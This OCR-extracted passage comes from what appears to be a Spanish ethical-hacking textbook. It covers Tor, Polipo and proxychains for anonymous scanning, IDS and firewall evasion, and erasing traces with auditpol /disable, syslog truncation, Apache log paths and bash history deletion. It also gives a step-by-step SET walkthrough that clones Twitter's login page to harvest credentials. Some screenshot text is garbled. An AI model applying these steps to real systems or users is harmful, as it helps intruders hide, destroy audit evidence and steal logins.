El primer paso para realizar la instalacion de tor en una distribucién de Linux basada en Debian

es agregar un reposito en el archivo: “/etc/apt/sources.list” como se muestra en la figura 8.10.

t apt-get update
/all.repository.backtrack-linux.org revolution Release.gpg
ry.backtrack-linux.org/ revolution/main nslation-en US
acktrack-1 ; evolutior slation-en US
Ctrac -9pg
1slation-en US

olutior

olution Re g
.Tej k ation-en US
2.repository.backtrack-linux.org/ revolution/mi r nslation-en US
11l.repository.backtrack .0rQ Lution/non-free Translation-en US
/ / x.org/ revolution/testing Translation-en US
://all.reposito yacktrack-linux.org revolution Release

Figura 8.11 Actualizaciéon del Reposito - Backtrack.

Una vez guardado el archivo con el nuevo repositorio se procede a realizar la actualizacion del
mismo como se visualiza en la figura 8.11.

:~# apt-get install tor tor-geoipdb
Reading package lists... Done
Building dependency tree
Reading state information...
The following packages w L tically

libdmraidl.@.0.rcl6 python-pyicu libdebian-ins
reiserfsprogs rdate bogl-bterm ecryptfs-utils libdebconfclient0® dmraid
se 'apt-get autoremove' to remove them.
The following extra packages will be installed:
torsocks
Suggested packages:

Figura 8.12 Instalacién de Tor — Backtrack.

En la figura 8.12 se presenta la instalacion del paquete Tor aplicando el comando

correspondiente, el tiempo de instalacion de este paquete en promedio es de 2 a 3 minutos.

227



get install polipo
R . Done

kages will be installed:

y installed, 0 to remove and 37 n

g up polipo (1.0.4.1-1.1~lucidl)
Starting polipo: polipo.

Figura 8.13 Instalacién de Polipo — Backtrack.

Luego de instalar el paquete Tor es recomendable realizar la instalacién de Polipo, este es un
web proxy cache que potencia la velocidad y brinda anonimato a las consultas DNS

(Tunneling). Para realizar esta instalacion se aplica el comando citado en la figura 8.13.

socksParentProxy =
socksProxyType = socks5

diskCacheRoot =

Figura 8.14 Configuracién del archivo Polipo — Backtrack.

Para el correcto funcionamiento de Polipo se debe insertar los comandos visualizados en la
figura 8.14. Como se comenté anteriormente tanto Polipo como Tor funcionan por separado,
para que el anonimato requerido sea de mayor fortaleza se debe sincronizar estas dos
herramientas para que trabajen en conjunto. Para ello se sabe que Tor trabaja por el puerto

9050 y por el sock 5, estos datos deben ser configurados en el archivo “conf’ de Polipo.
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~# apl-ger _install vidalla
Reading package lists... Done
Building dependency tree
Reading state information... Done
The following packages | e automatically installed and are no longer required:
libdmraidl.0.0.rcl6 python-pyicu libdebian-instal ptsetup
libecryptfs@ reiserfsprogs rdate bogl-bterm ecryptfs utils libdebconfclient®
dmr
Use 'apt-get autoremove' to remove them.
wgqested packages:
iceweasel-torbutton
Th ollowing NEW packages will be installed:
vidalia

© upgraded, 1 newly installed, € remove
Need to get 3,136kB of

After this operation, 6,236kB oT additional di
Get:1 http://deb.torproject.org/torproject.org
d [3,136kB]

12% [1 vidalia 401kB/3,136kB 12%].

and 37 not upgraded.

k space will be used.
lucid/main vidalia ©.2.21-1~1luc:

. Figura 8.15 instalacién de Vidalia - Backtrack
Para tener un manejo mas fluido de la herramienta tor es conveniente instalar su panel de

control grafico conocido como Vidalia, esto ayudara en gran medida a brindar un seguimiento
de la navegacion realizada.

Vidalia Control Panel

Status

@\ Connected to the Tor network!
24
Vidalia Shortcuts

PO®
Stop Tor Setup Relaying

View the Network & Use a New ldentity

BB, Bandwidth Graph @) Help &P About

@@

=|Message Log % settings a4 Exit

.r_

v| Show this window on startup | Hide

Figura 8.16 Panel de Control Vidalia.

El panel de Vidalia permite un manejo mas eficiente de las multiples opciones que brindar tor,
se puede realizar el cambio de identidad, asi mismo observar los nodos establecidos por Tor y
realizar una comprobacion visual que se esta conectado a Tor.
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Configure Proxies to Access the internet
() No proxy
) Auto-detect proxy settings for this network
) Use system proxy settings

© Manual proxy configuration:

HTTP Proxy: | | pore: | o|*

[ Use this proxy server for all protocols

SSL Proxy: | | Port: | o|*
ETP Proxy: | | Port: | o|*
SOCKS Host: \ 127.0.0.1 | Port: 9050 | 2

LITSOUCKRO VS N OUCLRO VO
No Proxy for: \ localhost, 127.0.0.1 |

Example: mogzilla.org, .net.nz, 192.168.1.0/24
) Automatic proxy configuration URL:

| Help | | Cancel 1 | OK I

Figura 8.17 Configuracion Manual de Proxy Tor — Firefox.

Luego de realizar la instalacion y configuracién de tor se debe insertar la direccion IP y el
puerto con el que se maneja Tor en las opciones de configuracion del navegador Firefox como
se muestra en la figura 8.17, para que funcione correctamente se debe ingresar en la opcion

“Socks Hots” los datos, ya que las aplicaciones acceden a la red Tor a través del interfaz socks.

[G7Ie oI TSy Tor? - |
€ & © | & hupsy/check torproject.org/Tiang=es

Congratulations. Your browser is configured to use Tor.

Figura 8.18 Verificacién del funcionamiento de Tor — Firefox.

Luego de la configuracion en el browser se debe realizar una prueba para evidenciar que se
esté navegando a través de Tor, ingresando a la URL.: https://check.torproject.org/?lang=es se
visualiza el resultado en este caso toda la configuracién se realiz6 satisfactoriamente por lo que
Tor esta operativo como se muestra en la figura 8.18.
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* Connection Settings

Configure Proxies to Access the Internet
) No proxy
O Auto-detect proxy settings for this network

) Use system proxy settings

© [Manual proxy configuration:

HTTP Proxy: | 127.0.0.1 | Port: | s11s |4
_I'Use this proxy server 1or all protocols

SSL Proxy: | | Port: | o2

ETP Proxy: | Port: | ol*

SOCKS Host: | | porz: | of*

) SOCKS v4 © SOCKS V5

No Proxy for: localhost, 127.0.0.1
Example: .moziilla.org, .net.nz, 192.168.1.0/24

O Automatic proxy configuration URL:

Help | cancel | ‘7 oK |

Figura 8.18 Configuracion de Polipo en el browser — Firefox.

Como se citd previamente Polipo es un proxy web que permite el anonimato de las consultas
Dns, es por ello que segln sea el caso se puede configurar el browser para que las peticiones
pasen en primera instancia por Polipo, como se sincronizé el funcionamiento de esta
herramienta con tor, luego de que la peticion pase por Polipo ira hacia tor y con esto se

completa el anonimato deseado.

:~# vim /etc/proxychains.conflj

[ProxyList]

socks4 127.0.0.1 90650
Figura 8.19 Configuracién de proxychains — Backtrack.
Proxychains es una herramienta que viene instalada en Backtrack tiene como propdésito la
creacion de cadenas de proxies con el objetivo de ocultar la direccién IP. Para su configuracion

se accede a la ruta mostrada en la figura 8.19 y se afiade la IP y el puerto con el que esta

configurado Tor. Con ello se sincroniza esta herramienta con los nodos Tor.
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Looking up 'www.whatismyip.com

|DNS-request| www.whatismyip.com
|S-chain|-<>-127.0.0.1:9050-<><>-4.2.2.2:53-<><>-0K
DNS-response| www.whatismyip.com is 1960.93.248.164

Figura 8.20 Verificacién de funcionamiento proxychains -Backtrack.

Luego de configurar el archivo de proxychains, una forma de validar si esta herramienta se
encuentra funcionando correctamente es abrir una web que permita obtener la direccion IP
publica del host, como se muestra en la figura 8.20 una vez ejecutado este comando se
observa la IP y el puerto de Tor, por lo que quiere decir que se esta pasando por los nodos Tor.
Por dltimo en la parte inferior derecha de la figura se aprecia un IP totalmente distinta a la

original por lo que el anonimato esta funcionando correctamente.

|

Nmap done: > ac ess up sCcar in 2.9 seconds

Figura 8.21 Uso de Proxychains en herramienta de Backtrack.

Proxychains puede ser ejecutada con la mayoria de herramientas de Backtrack obteniendo con
esto el anonimato, en la figura 8.21 se muestra una consulta NMAP con proxychains esto
permite que las peticiones enviadas hacia el servidor objetivo vayan con una direccion IP

cambiada y asi dificultar la obtencion de la IP atacante al administrador del sitio.
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Figura 8.22 Uso de Polipo en SQLMap — Backtrack.

En la figura 8.22 se utiliza la herramienta SQLMap pero en esta ocasién con el proxy “Polipo”
configurado con anterioridad para hacer anénimas las peticiones hacia el servidor; como esta
sincronizado con Tor serd mas complicado para el administrador del sistema rastrear la

direccion IP de atacante.
8.6.5 Anonymizer.

Es un servicio para navegar anénimamente por Internet, fue creado por Lance Conttrell en
1997 actualmente se mantiene en la web: www.anonymizer.com ofreciendo servicios de
proteccion hacia la privacidad de los usuarios, entre los servicios que ofrece estan: servicios de
cifrado de correos electronicos, servicio proxy anonymizer, servicio anti Phishing. Entre sus
caracteristicas esta que permite a una persona 0 empresa mantenerse bajo un seudénimo
persistente esto quiere decir que puede forjar una reputacidon en las paginas que visita con
datos andnimos fijos. En la actualidad es un servicio multiplataforma que tiene un costo ligado

al requerimiento de sus servicios.

!’ nonymizer- . O

Anonymous Surfing ™  Contral Panel CaxMiounaragds TRIAL VERSION

= Ao yersosrs Surfang s Identty Protection:

+) D Rrsonpewcn. Saten baeps you 15 383ress aod youw ool
sdaceky seowre
MIDbe SLefon) Securty™ S Enaystion

En
Ervsbie Malcious Web Ste Fltenng Reol O Address 248

Everyome ciue sccs 1R 08 0

Frotoection Indicatons:

Aee 303 CORTRtedy DrTRCIEET EXdare Saxamemm ooty vy Mnctomwsss Satogs
Codre sdentiy seotection festusas.

1P Arcer ety 8 svonected

] €5 Mrodecea

e e ] 3 Provected

WA Secsy 9 Nez v ctected

00000

Msboaius Web Ste Fereag € 2502 Pronacted

Figura 8.23 Panel de Control de Anonymizer — Windows.
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8.7. Detection System (IDS).

Los sistemas de deteccion de intrusion revisan toda la actividad de red entrante y saliente,

también identifican comportamientos sospechosos revisando las tramas de los paquetes para

detectar posibles ataques hacia los sistemas basandose en las reglas de filtrado configurados

previamente.

El funcionamiento seria el siguiente: con las reglas de concordancia configuradas previamente

se analiza el paquete entrante y analiza las cabeceras, dependiendo del riesgo detectado se

puede configurar para que se envie un mail hacia el administrador del sistema y tomar acciones

inmediatas.

8.7.1 Tipos de IDS.

HIDS (HostIDS): Cuando un intruso ingresa a un sistema de forma no autorizada este
deja rastros de sus actividades, lo que realiza este tipo de IDS es detectar las
modificaciones realizadas por el intruso y realiza un reporte de los mismos.

NIDS (NetworkIDS): Realiza una deteccién de ataques en los segmentos de una red,
para que funcione correctamente debe estar en modo promiscuo, asi tendra acceso a

todo el trafico generado en la red.

8.7.2 Evasion de IDS.

Una evasion de un IDS se basa en negar la comparacion de la firma alterando la apariencia del

ataque. Hay varias maneras con las que se puede evadir un IDS alguna de esas son:

Insercién: Generado cuando hay un IDS totalmente desprotegido en la red.

Evasion: Generar trafico de manera minuciosa por varias ocasiones para que el IDS
aprenda un comportamiento nuevo y modifique sus patrones.

Ofuscacion: Encubrir el ataque haciéndolo parecer como un flujo normal de paguetes.
Fragmentacién: Cuando se envia un paquete se divide en partes pequefias para que

pasen por el IDS de manera individual.

Existen herramientas que permiten la evasion de IDS:

FragRouter: Software que ayuda a la fragmentacion de paquetes y pasarlos al IDS.
Viene incorporado en Backtrack.
SideStep: Es un software que ayuda a la evasién de un IDS. Se lo puede obtener en

http://www.voxtechnologies.com/sidestep.htm.
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8.8 Firewalls.

Es un programa que protege los recursos de una red privada de accesos indebidos, por lo
general se coloca entre un usuario de una red y una red publica como lo es el Internet brindado
proteccion contra intrusos maliciosos. Su funcionamiento se basa en la examinacion de todo el
trafico que pasa entre dos redes y verifica el cumplimiento de determinadas reglas. Maneja el
filtrado de entrada y salida de la red, es capaz de realizar el filtrado por: IP, protocolo y por

algunas cabeceras tcp. También maneja el acceso publico hacia ciertos recursos de la red.

8.8.1 Evasion Firewalls.

Un método muy comuin para realizar un ataque y no ser bloqueados por un firewall es utilizando
un Backdoors, lo que realiza esto es obtener un Shell inverso direccionado desde el equipo
objetivo hacia la maquina del atacante. También es comun realizar una fragmentacién de
paquetes enviado por el atacante para realizar la evasion del firewall, una herramienta que
permite realizar esto es nmap con las siguientes opciones:
e -f: Fragmenta los paquetes que se envia al objetivo de esta manera se complica la tarea
de un Firewall o IDS en detectar posibles amenazas.
e -mtu: Controla el tamafio en bytes de la fragmentacion de los paquetes que son
enviados al objetivo, el valor ingresado debe ser multiplo de 8.
e -D: Realiza un escaneo usando direcciones IP reales o ficticias como sefiuelos para

hacer creer al firewall 0 IDS que se estan realizando peticiones de distintos host.

8.9 Borrado de Huellas.

Luego que un atacante obtiene acceso hacia el sistema objetivo, este intentard eliminar las
evidencias que puedan causar que sea descubierto. Todo sistema maneja registros y logs que
permiten llevar un control de todo lo que se realiza en una maquina. Estos archivos pueden ser
de gran ayuda para obtener informacion especifica de que ocurre con un dispositivo 0
aplicacion. Es por ello que el atacante deseara eliminar toda informacion que lo vincule al
ataque, entre los procesos comunes para el borrado estan: Eliminar los acces_log, eliminar el
WebShell y el Backdoor subidos por el atacante para obtener el control. A continuacién se

presentan algunas maneras que permiten eliminar rastro que pueden ser de mucha ayuda.
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8.9.1 Deshabilitar Audilpol.

Una herramienta utilizada en sistemas Windows para auditar sus sistemas es Auditpol, cuando
un atacante ingresa al sistema puede deshabilitar esta opcién para que no se generen datos
gque puedan comprometerlo, dependiendo de los permisos pudiera aplicar el siguiente
comando: “C:\>auditpol /disable”. Una vez finalizado las acciones se lo puede habilitar con el

parametro /enable.

8.9.2 Limpieza de Logs en Linux.

En sistemas Linux se pueden eliminar los logs que se encentran ubicados en “/var/log” o
también se los puede dejar en blanco con el siguiente comando: “#> /var/log/syslog” esto se
puede aplicar para cualquier log que se requiera.

También existen herramientas que facilitan este proceso, una de ellas es: “Linux Log Eraser”
gue se puede descargar de: http://packetstormsecurity.com/files/102532/Linux-Log-Eraser-
1.0.html. Esta herramienta tiene opciones interesantes que hace el proceso de eliminacion mas

rapido y eficiente.

in al ] e Basically finding which logs files

8.24 Software Linux Log Eraser sobre sistema Linux.

8.9.3 Eliminar Log de apache.

Los Logs de apache contienen informacién de acceso a nivel de un servidor web por lo que se
deberia modificar o eliminarlos, algunos de los directorios mas utilizados son:
apache/logs/error.log

apache/logs/access.log
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apache/logs/error.log
apache/logs/access.log
apache/logs/error.log
apache/logs/access.log
etc/httpd/logs/acces_log
etc/httpd/logs/acces.log
etc/httpd/logs/error_log
etc/httpd/logs/error.log
var/www/logs/access_log
var/wwwy/logs/access.log
usr/local/apache/logs/access_log
usr/local/apache/logs/access.log
var/log/apache/access_log
var/log/apache2/access_log
var/log/apache/access.log
var/log/apache2/access.log
var/log/access_log

8.9.10 Eliminar el Bash History.

Este archivo tiene un historial de los Ultimos comandos introducidos en el sistema, antes de

salir se debe borrar los ficheros “.Bash_history” o “.sh_history” dependiendo del intérprete de

comandos utilizado.

8.9.11 Eliminar Rastros.

Cuando se ingresa a un sistema por lo general se utilizan WebShell y exploits que ayudan a

alcanzar el objetivo de la intrusién, al finalizar el ataque todos estos deben ser eliminados.

8.9.12 Fichero a tener en cuenta.

Existen ficheros que por su utilidad pueden brindar informacion clave de accesos indebidos,

algunos de estos son:

e Witmp: Este fichero guarda informacién de los accesos al servidor, para leerlo se debe

utilizar el comando “# utmpdump /var/log/wtmp”

e Lastlog: Es utilizado para visualizar la hora de conexion de las cuentas en el sistema.

e Acct: Registra todos los comandos utilizados por los usuarios este fichero se encuentra

en la ruta: “/etc/adm/acct”.
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CONCLUSIONES.

Es de vital importancia al realizar las pruebas de penetracion sobre los sistemas tener un
método que brinde cierto anonimato y no quedar completamente expuesto hacia el objetivo, es
por ello que en este capitulo se brindaron técnicas y herramientas que son de mucha ayuda a
la hora de cumplir este objetivo en el test de intrusion. También es importante no dejar huellas
gue puedan ser utilizadas por el administrador del sitio para identificar el origen del atacante, de
la misma manera que existen varias maneras de atacar un objetivo de igual forma hay formas
de intentar dejar el menor rastro posible todo depende de la situacién que se enfrente el

atacante.
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CAPITULO IX.

INGENIERIA SOCIAL.

INTRODUCCION.

La ingeniera social es un punto fundamental en un proceso de hacking ético, el avance
vertiginoso de la tecnologia hace que los usuarios tengan mayor interaccion con los sistemas
informaticos y a través de estos tener acceso a informacion que puede ser confidencial para los
intereses de la empresa para la cual laboran.

Es por ello que los hackers intentan tomar provecho de los usuarios que como Se conocen son
el eslabon mas débil de la seguridad dentro de una empresa, no serviria de mucho que una
empresa tenga sistemas robustos de seguridad, contrasefias fuertes, control de acceso
rigurosos, permisos controlados hacia archivos si el personal que labora en la organizacién no
tienen el suficiente conocimiento y una constante capacitacion de los riesgos que implica el
manejo de la informacion.

En este capitulo se brindardn pautas que ayuden a las empresas a conocer cuales son las
principales formas para obtener informacion a través de los usuarios y a que los empelados
tomen conciencia del importante rol que desempefian dentro del entorno de la seguridad en la

empresa.
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9.1. Descripcion Ingenieria Social.

La ingenieria social es el conjunto de técnicas aplicadas para manipular el comportamiento
de los usuarios y tomar ventaja de ello en diferentes situaciones dentro una empresa. En la
mayoria de ocasiones se enfoca al engafio a los usuarios con el fin de obtener la confianza y a
su vez la informacién que se desea. Esta técnica se puede utilizar en varios escenarios como
son: Telefonicamente, correos electronicos, mensajes de chat, redireccionamiento de la pagina
web (Phishing), entre otros. Toda técnica aplicada para la obtencién de informacion tomara
ventaja de la ingenuidad de los usuarios, la confianza, el deseo de ayudar, el miedo, el poco
conocimiento de las herramientas o la falta de capacitacién sobre ciertas situaciones que se le
pueden presentar. Cabe destacar que en la mayoria de ataques con ingeniera social el
atacante no tocara una maquina de la empresa ni tampoco intentara ingresar a sus sistemas,
este esperara a que la informacion le sea facilitada por el usuario al cual esta realizado la
ingeniaria social por lo que el rastro que pudiera dejar para ser detectado son minimas.

Todo esto lo hace el atacante con el fin de obtener: informacién confidencial, detalles de
acceso hacia procedimientos y detalles de autorizaciones dentro de sus aplicaciones.

Es por esto que la ingeniera social es la técnica mas dificil de controlar por los administradores
de seguridad de las empresas ya que no importa la cantidad de presupuesto que la
organizacion invierta en infraestructura de seguridad ni en soluciones de control como:
firewalls, VPN, IPS, sistemas de autenticacion, sistemas de monitoreo, etc, en esta situacion la
empresa dependen al cien por ciento de la capacitacion de sus usuarios para mitigar estos

peligros.

9.2. Tipos de Ingenieria Social.

Dentro de la ingeniaria social existen dos categorias del cual el atacante puede tomar ventaja,

estas son:

9.2.1 Basada en Personas.

Esta técnica manipula el comportamiento que tienen las personas hacia diferentes situaciones
gue se le pueden presentar, el atacante puede tomar ventaja de la ingenuidad de la victima
tomando roles como: un administrador de los sistemas de la organizacién, hacerse pasar como
un comparfiero de trabajo, una persona relacionada con la empresa alguien que lo quiere
ayudar para solventar algun inconveniente que tenga. Las situaciones que se pueden

aprovechar son incontables, todo depende de la perspicacia del ingeniero social al momento de
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afrontar un ataque de este tipo. Segun Kevin Mintnick uno de los hackers mas famosos de la
historia especifica que la ingeniera social se basa en cuatro principios fundamentales que son:

Todas las desean ayudar.
A todo usuario le gustan que lo alaben.

El primer contacto con la victima debe ser de confianza.

YV V V VY

A los usuarios no les gusta decir que no.

Es por ello que este tipo de ataque esta enfocado directamente al comportamiento de los
usuarios: sus acciones, sus necesidades laborales, sus reacciones hacia ciertas circunstancias
gue se le presentan y sobre todo a su falta de prevencién hacia personas que no conocen.

A continuacion se muestran algunas de las técnicas aplicadas hacia los usuarios:

e Suplantacion.
Esta técnica se basa en hacerse pasar por un empleado de organizacion que necesita el
acceso hacia un sistema o requiere informacion sobre algun tema de la empresa. Depende en
gran mediad de la creatividad del atacante ya que puede hacerse pasar por: un técnico que
realizara trabajos de mantenimiento en sus sistemas, personal de limpieza, personal de un
Courier que necesita datos para entregar una encomienda 0 si en un usuario recién contratado

el atacante puede hacerse pasar un directivo de la compafiia.

e Llamadas Telefonicas.

Esta técnica es muy utilizada ya que el atacante se mantenimiento en el anonimato, para tomar
ventaja de este procedimiento se pueden presentar dos situaciones.

El atacante esta dentro de la empresa y este tiene acceso para realizar una llamada a mesa de
ayuda, una vez que le conteste este puede hacerse pasar por un usuario legitimo previamente
analizado y pedir que le ayuden con informacién de su contrasefia argumentado alguna
situacion de extrema urgencia, si el personal que se encuentra en la mesa de ayuda no toman
los recaudos necesarios el atacante obtendra con facilidad la clave de acceso de la maquina
del usuario objetivo.

La segunda situacién se puede presentar cuando el atacante obtiene los nimeros telefénicos
de la empresa y llama a un usuario para solicitar informacién relacionada de alguna persona o
alguna situacién en especial de la organizacion, el hacker con previos conocimiento de la

empresa puede obtener muy buenos resultados aplicando esta técnica.
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e Shoulder Surfing.
Esta técnica puede parecer bastante ingenua pero brinda resultados excelentes si el atacante
analiza y prepara bien el escenario a ser estudiado, se trata en mirar por encima del hombro
del usuario objetivo para observar que digita en el teclado o a su vez que informacion tiene
visualizada en pantalla, con esto se puede obtener: contrasefias, nimeros de cuentas, datos

personales, informes confidenciales, etc.

e Dumpster Diving.
Esta técnica es aplicada en la busqueda de informacion en la Basura de las oficinas de la
empresa, aunque puede sonar algo insignificante muchos usuarios anotan informacion
importante en hojas que luego de utilizaras las desechan. Con ello se puede encontrar desde
anotaciones sobre aplicaciones, contrasefias, nimeros telefénicos, movimientos financieros,
manuales, datos personales, etc. La informaciéon obtenida se puede aplicar otra técnica de

ingeniera social.

e Eavesdropping.
También conocido como espionaje el atacante toma un rol pasivo e interactia minimamente
con los usuarios de la empresa para no levantar sospechas, se mantiene a la espera de
conversaciones entre empleados o de los mismos hacia la mesa de ayuda de la organizacién.
En las oficinas normalmente los empleados no miden el riesgo que presenta cierto tipo de
conversaciones que mantienen, estos pueden brindar informacién valiosa sin darse cuenta. Un
ejemplo claro se presenta cuando los usuarios no se acuerdan sus contrasefias y se preguntan

unos a otros sobre las mismas. Sin saber pueden estar bridando informacién a un atacante.

¢ Ingeniera Social Inversa.

A diferencia de la ingeniera social normal en el que el hacker toma un rol protagoénico al realizar
diferentes acciones para obtener informacién confidencial del objetivo, en esta técnica el
atacante esta en un rol pasivo lo que realiza es poner un sefiuelo a la victima para que de una
u otra forma necesite imperiosamente contactar al hacker.

Para la ejecucién de este ataque se puede aprovechar de los problemas o requerimientos que
tenga tanto la empresa como los usuarios que trabajan en ella. Como un ejemplo se cita: Si se
detecta que un usuario no tiene muchos conocimientos de un software que utiliza la empresa, a

este empleado se le pudiera enviar un correo anunciado cursos gratuitos sobre dicha
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aplicacion, obviamente este correo contendra algun malware que explote una vulnerabilidad de
la maquina de la victima.

En términos generales se puede decir que esta técnica se aprovecha de los problemas o
requerimientos que pueden tener las empresas para que a su vez busquen soluciones y ahi es
cuando el atacante entra en escena ofreciendo soluciones ficticias a la empresa con el unico fin

de obtener informacion.

9.2.2 Basada en Computadoras.

Esta técnica es puesta en practica aprovechandose de la ingenuidad de los usuarios pero
validandose de una computadora para alcanzar el objetivo. En la actualidad toda empresa
maneja informacién a través de sistemas informaticos y la mayoria de usuarios tienen una
interaccion directa con estos sistemas. Es ahi cuando el atacante busca inmiscuirse en este
proceso e intenta ubicarse en el medio del usuario y el sistema que manejan.

A continuacion de describen alguna de estas técnicas.

e Ventanas Pop-Up.
Son ventanas que aparecen de improvisto cuando se esta navegando en Internet en ocasiones
solo son utilizadas como publicidad para algun producto en particular pero en otras son enlaces
gue redirigen a sitios web para solicitar a las personas su usuario y contrasefia de alguna
aplicaciones en particular o peor aun sus cuentas bancarias, hay que tener mucho cuidado con

estas ventanas.

iFelicidades!?

Eres el visitante
099,999
I GANASTE!

{TTHaz diick aqui T

Figura 9.1 Ventana Pop-Up en Internet.

e Hoaxes.

Es una técnica dirigida al envio masivo de correos electronicos engafiosos indicandole a los

usuarios que tiene que eliminar un archivo de su computadora que contiene virus, por lo
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general son archivos propios del sistema que permiten el buen funcionamiento del equipo y una

vez eliminados provoca dafios en el comportamiento de la maquina.
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Figura 9.2 Envios de correos engafosos (http:/iwww.pandasecurity.com/, Parr 4).

e Chats.
La utilizacion de mensajes instantdneos puede ser de mucha ayuda para obtener informacion
de un usuario en particular como: fechas de nacimiento, teléfonos, direcciones, estudios el

abanico de posibilidad en grande, ademas que la identidad del atacante puede ser encubierta.

e Phising.
Es una técnica de la ingeniera social que intenta obtener informacién de los usuarios de una
empresa, estos datos pueden ser: usuarios, contrasefas, cuentas bancarias, entre otros. Esto
se lo realiza mediante la suplantacién visual de un sitio web haciendo creer al usuario que esta
ingresando a una web legitima. Una de las maneras mas utilizadas para realizar esta técnica es
enviando un correo al usuario que contiene un link que lo redirecciona a una pagina web con la
misma apariencia que la web original, si el usuario no es lo suficientemente precavido ingresara
los datos solicitados los mismo que seran enviados al atacante produciendo asi el robo de

datos confidenciales.

A continuacién se presenta un ejemplo.
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-] Hc e: https://www.trustedsec.com

Welcome to the Soci -Engi = L ki (SET). Your one
stop shop for all your social jineering needs..

The Social-Engineer Toolkit is a product of TrustedSec.

Visit: https://www.trusted .com
Select from the menu:

Social-Engineering Attacks
Fast-Track Penetration Testing
Third Party dules

Update the Metasploit Framework
Update the Social-Engineer Toolkit
Update SET configuration

Help, Credits, and About

NOU s WN =

99) Exit the Social-Engineer Toolkit
= l.
Figura 9.3 Menu de “Social Engineering Toolkit” — Backtrack.

En la Figura 9.3 se muestra el menu principal de la herramienta también conocida como SET,
esta tool viene incorporada en Backtrack y esta enfocada en ataques de ingenieria social, para
este caso se selecciona la opcién nimero 1 Social-Enginnering Attacks (ataques de ingeniera

social).

The Social-Engineer Toolkit is a product of TrustedSec.
Visit: https://www.trusted . com
rom the menu:

Spear-Phishing Attack Vectors

site Attack Vectors

ctious Media Generator

te a Payload and Listener

Mailer Attack

uino-Based Attack Vector

Spoofing Attack Vector
wWireless Access Point Attack Vector
QRCode Generator Attack Vector
Powershell Attack Vectors
Third Party Modules

ol

Return back to the main menu.

Figura 9.4 Selecciéon de Ataques web — Backtrack.

Una vez ingresado en el siguiente menu se tiene que seleccionar la segunda opcién llamada:

“Website Attack Vector” ya que este item visualiza los posibles ataques hacia sitios web.
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‘and the Back|Track team. This method utilize

make the highli ted URL link to appear leg

a window I replaced with the

the 1lir replac settings in the set config if

The Multi-Attack method will add a combination of attacks through the web att:

plet, Metasploit Browser,
n le‘f in the Middle attack
which is SJCCQS”4U1.

1) a

2) M 101t Browser ploit Method
3) Cr ial Harvester Attack Method
4) Attack Method

5) M

6) Web J%ck¢wu Attack

7) Multi-Att

8) Victim Wwe

9) Create or

99) Return to Main Menu
:>3.
Figura 9.5 Seleccion de ataque hacia credenciales — Backtrack.

Como este ataque esta enfocado en la obtencion de las credenciales de un usuario se debe

seleccionar la opcion nimero tres que permiten la captura de esta informacion.

The first method will allow SET to import a list of pre-defined web
applications that it can utilize within the attack.

The second method will completely clone a website of your choosing
and allow you to utilize the attack vectors within the completely
same web application you were attempting to clone.

The third method allow u to import your own website, note that you
hen using the import website

Web Templates
Site Cloner
Custom Import

Return to Webattack Menu
>2l
Figura 9.6 Clonacién del sitio web objetivo — Backtrack.

Para que el ataque funcione correctamente el sitio web falsificado debe ser exactamente igual
al original para no ocasionar sospecha al usuario para ello en la herramienta se debe
seleccionar la opcién numero dos que permite realizar esta copia como se muestra en la figura
9.6.
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et e > 1P address tor the PUSI back 1n Harvester/labnabbing:]
[-] SET supports both HTTP and HTTPS
Example: http://www.thisisafakesite.com
> Enter the url to clone:https://twitter.com/

Cloning the website: https://twitter.com/
This could take a little bit...

[!'] I have read the above message.

Press to continue
Figura 9.7 Configuracion de la herramienta SET — Backtrack.

En la figura 9.7 se muestra las opciones a configurar para que el ataque tenga existo, el primer
dato a ingresar es la IP de la maquina atacante, en este ataque esta direccionado dentro de
una red LAN, posteriormente se digita la URL del sitio que se desea clonar en este caso la
pagina principal de twitter. Si se desea utilizar este ataque fuera de una red LAN se debe contar

con una IP publica fija que permita el direccionamiento hacia esa direccion.

Paste your long URL here: Press CTRL-C to copy

1 / % http:/igoo.gl/dc

All goo.gl URLs and click analytics are public and can be accessed by anyone. nintte 200 - details

htty

Figura 9.8 Ocultamiento de la direccion IP - Google URL Shortener.

Para evitar sospechas de la victima se puede ocultar la direccién ip con los actualmente
muy utilizados URL Shortener, una vez generado el link se debe crear un mail lo
suficientemente creible para que la victima lo lea y lo tome enserio, para esto es de mucha
importancia haber realizado un analisis previo del usuario y relacionar el asunto del mail

hacia alguna necesidad o requerimiento del empleado.

247



Iniciar sesion

Bienvenido a Twitter.
: ~Descubre lo que esta pasando ahora, con las
- .personas y grupos que te interesan.

¢ Eres nuevo en Twitter? Reaistrate

Registrate en Twitter

Figura 9.9 Pagina web Clonada — Twitter.

Como se observa en la figura 9.9 la pagina clonada es exactamente igual a la original y aunque
en la URL aparece a direccion IP la mayoria de usuarios no prestan atencion a este detalle ya
gue al enviar un correo bien estructurado y al observar la pagina web normal del sitio el usuario
ingresara sus credenciales en el sitio falso. Lo importante de esta técnica es que luego de que
el usuario ingresa sus datos el SET lo redireccionara automaticamente al sitio original por lo

gue la victima pensara que la pagina cargdé nuevamente

PARAM: authenti

Figura 9.10 Resultados obtenidos con la herramienta SET — Backtrack.

Luego que la victima ingresa sus datos en la maquina del atacante aparecen sus datos de

inicio de sesion hacia la pagina y con ello podra acceder sin problema hacia el sitio web.
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9.3 Ataques Internos.

Los ataques internos son uno de los méas peligros que pueden producirse en la empresa ya
gue el atacante se encuentra trabajando en las instalaciones y tiene acceso a informacion
importante como: claves de acceso, datos personales de sus compafieros, hombres de los
ejecutivos de la empresa, entre otros. Las circunstancias que mueven al empleado a realizar
estos ataques pueden ir ser desde: el descontento o pelea con algun directivo de la compaiiia o
peor aun obtener algin redito econémico de una empresa competidora para que les facilite

informacion confidencial.

Es por ello que para reducir el riesgo de ser victimas de este ataque es de suma importancia
realizar un acuerdo de confidencialidad con los empleados, realizar rotacion de tareas, otorgar
minimos privilegios en los sistemas informaticos y una vez que el empleado ya no labora en la
institucion darle totalmente de baja tanto en los sistemas como en el control de acceso a la

empresa.

9.4 Fases de un ataque.

Para que un ataque de ingenieria social tenga los resultados esperados es recomendable
seguir unas pautas que ayudaran al proceso de obtencion de la informacién y ademas a no ser

descubiertos por la empresa.
¢ Investigacion inicial.

El primer paso se basa en la investigacion completa del objetivo, analizar cada punto

importante que pueda ser aprovechado por el atacante.

e Seleccion de la victima.

Luego del analisis inicial se tiene la suficiente informacion como para realizar un estudio de que
usuario puede ser el idéneo al ataque, por lo general los perfiles que se buscan son de
empleados que tenga acceso a informaciéon importante o aquellos empleados que tiene

problemas con la compafiia.
¢ Interactuar con la victima.

En este punto tiene vital importancia la capacidad e imaginacién del atacante para llegar hacia

la victima y generar un grado de confianza aceptable que permita interactuar con el empleado,
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e Tomar ventaja de la confianza obtenida.

